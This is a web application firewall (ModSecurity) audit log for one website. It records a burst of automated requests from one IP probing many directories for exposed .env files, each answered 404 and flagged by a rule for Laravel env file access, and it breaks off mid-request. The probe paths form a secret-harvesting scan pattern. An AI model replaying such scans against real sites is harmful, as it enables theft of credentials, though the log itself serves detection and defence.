Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.vscode/.env"] [unique_id "aqZ0hkwu1RSkptiiNIX5fAAAAJQ"]
Stopwatch: 1789293702201297 25787 (- - -)
Stopwatch2: 1789293702201297 25787; combined=24564, p1=193, p2=24253, p3=62, p4=6, p5=49, sr=85, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--58de5619-Z--

--cb56c078-A--
[13/Sep/2026:13:01:44.569597 +0300] aqZ0iEwu1RSkptiiNIX5gAAAAJM 45.138.12.13 58936 127.0.0.1 7081
--cb56c078-B--
GET /mail/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--cb56c078-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--cb56c078-E--

--cb56c078-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/mail/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5gAAAAJM"]
Stopwatch: 1789293704563917 41991 (- - -)
Stopwatch2: 1789293704563917 41991; combined=4554, p1=230, p2=4206, p3=68, p4=10, p5=40, sr=96, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--cb56c078-Z--

--f022f173-A--
[13/Sep/2026:13:01:44.622792 +0300] aqZ0iGM7dE9KgIIOpQh3KwAAAMM 45.138.12.13 58988 127.0.0.1 7081
--f022f173-B--
GET /xampp/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--f022f173-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--f022f173-E--

--f022f173-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/xampp/.env"] [unique_id "aqZ0iGM7dE9KgIIOpQh3KwAAAMM"]
Stopwatch: 1789293704600561 22304 (- - -)
Stopwatch2: 1789293704600561 22304; combined=3818, p1=255, p2=3471, p3=53, p4=6, p5=32, sr=89, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f022f173-Z--

--60007d3b-A--
[13/Sep/2026:13:01:44.623117 +0300] aqZ0iEwu1RSkptiiNIX5hgAAAI8 45.138.12.13 59022 127.0.0.1 7081
--60007d3b-B--
GET /node_modules/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--60007d3b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--60007d3b-E--

--60007d3b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/node_modules/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5hgAAAI8"]
Stopwatch: 1789293704591142 32044 (- - -)
Stopwatch2: 1789293704591142 32044; combined=14434, p1=265, p2=14114, p3=26, p4=4, p5=25, sr=100, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--60007d3b-Z--

--46d50601-A--
[13/Sep/2026:13:01:44.623296 +0300] aqZ0iEwu1RSkptiiNIX5ggAAAJA 45.138.12.13 58952 127.0.0.1 7081
--46d50601-B--
GET /nginx/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--46d50601-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--46d50601-E--

--46d50601-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/nginx/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5ggAAAJA"]
Stopwatch: 1789293704576572 46789 (- - -)
Stopwatch2: 1789293704576572 46789; combined=4779, p1=236, p2=4425, p3=66, p4=8, p5=44, sr=109, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--46d50601-Z--

--4476201f-A--
[13/Sep/2026:13:01:44.623430 +0300] aqZ0iGM7dE9KgIIOpQh3LAAAANM 45.138.12.13 59002 127.0.0.1 7081
--4476201f-B--
GET /kyc/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--4476201f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--4476201f-E--

--4476201f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/kyc/.env"] [unique_id "aqZ0iGM7dE9KgIIOpQh3LAAAANM"]
Stopwatch: 1789293704606931 16567 (- - -)
Stopwatch2: 1789293704606931 16567; combined=3208, p1=224, p2=2892, p3=52, p4=6, p5=34, sr=77, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4476201f-Z--

--e012bd49-A--
[13/Sep/2026:13:01:44.623812 +0300] aqZ0iEwu1RSkptiiNIX5gwAAAIs 45.138.12.13 58974 127.0.0.1 7081
--e012bd49-B--
GET /public/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--e012bd49-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--e012bd49-E--

--e012bd49-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/public/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5gwAAAIs"]
Stopwatch: 1789293704582972 40906 (- - -)
Stopwatch2: 1789293704582972 40906; combined=4832, p1=235, p2=4484, p3=65, p4=8, p5=40, sr=106, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e012bd49-Z--

--8c70745b-A--
[13/Sep/2026:13:01:44.623953 +0300] aqZ0iEwu1RSkptiiNIX5hAAAAJc 45.138.12.13 58982 127.0.0.1 7081
--8c70745b-B--
GET /main/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--8c70745b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--8c70745b-E--

--8c70745b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/main/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5hAAAAJc"]
Stopwatch: 1789293704585257 38805 (- - -)
Stopwatch2: 1789293704585257 38805; combined=4375, p1=205, p2=4069, p3=50, p4=6, p5=45, sr=92, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8c70745b-Z--

--b893c20a-A--
[13/Sep/2026:13:01:44.624131 +0300] aqZ0iEwu1RSkptiiNIX5hQAAAIk 45.138.12.13 59012 127.0.0.1 7081
--b893c20a-B--
GET /admin/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--b893c20a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--b893c20a-E--

--b893c20a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/admin/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5hQAAAIk"]
Stopwatch: 1789293704589474 34735 (- - -)
Stopwatch2: 1789293704589474 34735; combined=4211, p1=264, p2=3825, p3=79, p4=7, p5=36, sr=143, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b893c20a-Z--

--97052918-A--
[13/Sep/2026:13:01:44.624295 +0300] aqZ0iEwu1RSkptiiNIX5iQAAAJY 45.138.12.13 58958 127.0.0.1 7081
--97052918-B--
GET /site/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--97052918-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--97052918-E--

--97052918-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/site/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5iQAAAJY"]
Stopwatch: 1789293704600593 23767 (- - -)
Stopwatch2: 1789293704600593 23767; combined=3793, p1=217, p2=3485, p3=53, p4=6, p5=32, sr=90, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--97052918-Z--

--8b34796a-A--
[13/Sep/2026:13:01:44.624445 +0300] aqZ0iEwu1RSkptiiNIX5igAAAIM 45.138.12.13 58948 127.0.0.1 7081
--8b34796a-B--
GET /mailer/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--8b34796a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--8b34796a-E--

--8b34796a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/mailer/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5igAAAIM"]
Stopwatch: 1789293704606214 18296 (- - -)
Stopwatch2: 1789293704606214 18296; combined=3871, p1=179, p2=3594, p3=52, p4=6, p5=40, sr=82, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8b34796a-Z--

--5eda6d07-A--
[13/Sep/2026:13:01:44.624587 +0300] aqZ0iEwu1RSkptiiNIX5gQAAAJE 45.138.12.13 58938 127.0.0.1 7081
--5eda6d07-B--
GET /laravel/core/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--5eda6d07-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--5eda6d07-E--

--5eda6d07-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/laravel/core/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5gQAAAJE"]
Stopwatch: 1789293704570042 54645 (- - -)
Stopwatch2: 1789293704570042 54645; combined=5048, p1=220, p2=4693, p3=82, p4=9, p5=43, sr=98, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5eda6d07-Z--

--34332b02-A--
[13/Sep/2026:13:01:44.624762 +0300] aqZ0iEwu1RSkptiiNIX5iwAAAIc 45.138.12.13 59060 127.0.0.1 7081
--34332b02-B--
GET /prod/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--34332b02-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--34332b02-E--

--34332b02-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/prod/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5iwAAAIc"]
Stopwatch: 1789293704611371 13458 (- - -)
Stopwatch2: 1789293704611371 13458; combined=4036, p1=184, p2=3715, p3=40, p4=7, p5=90, sr=89, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--34332b02-Z--

--227a7e6a-A--
[13/Sep/2026:13:01:46.780971 +0300] aqZ0ikwu1RSkptiiNIX5jgAAAIY 45.138.12.13 54480 127.0.0.1 7081
--227a7e6a-B--
GET /development/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
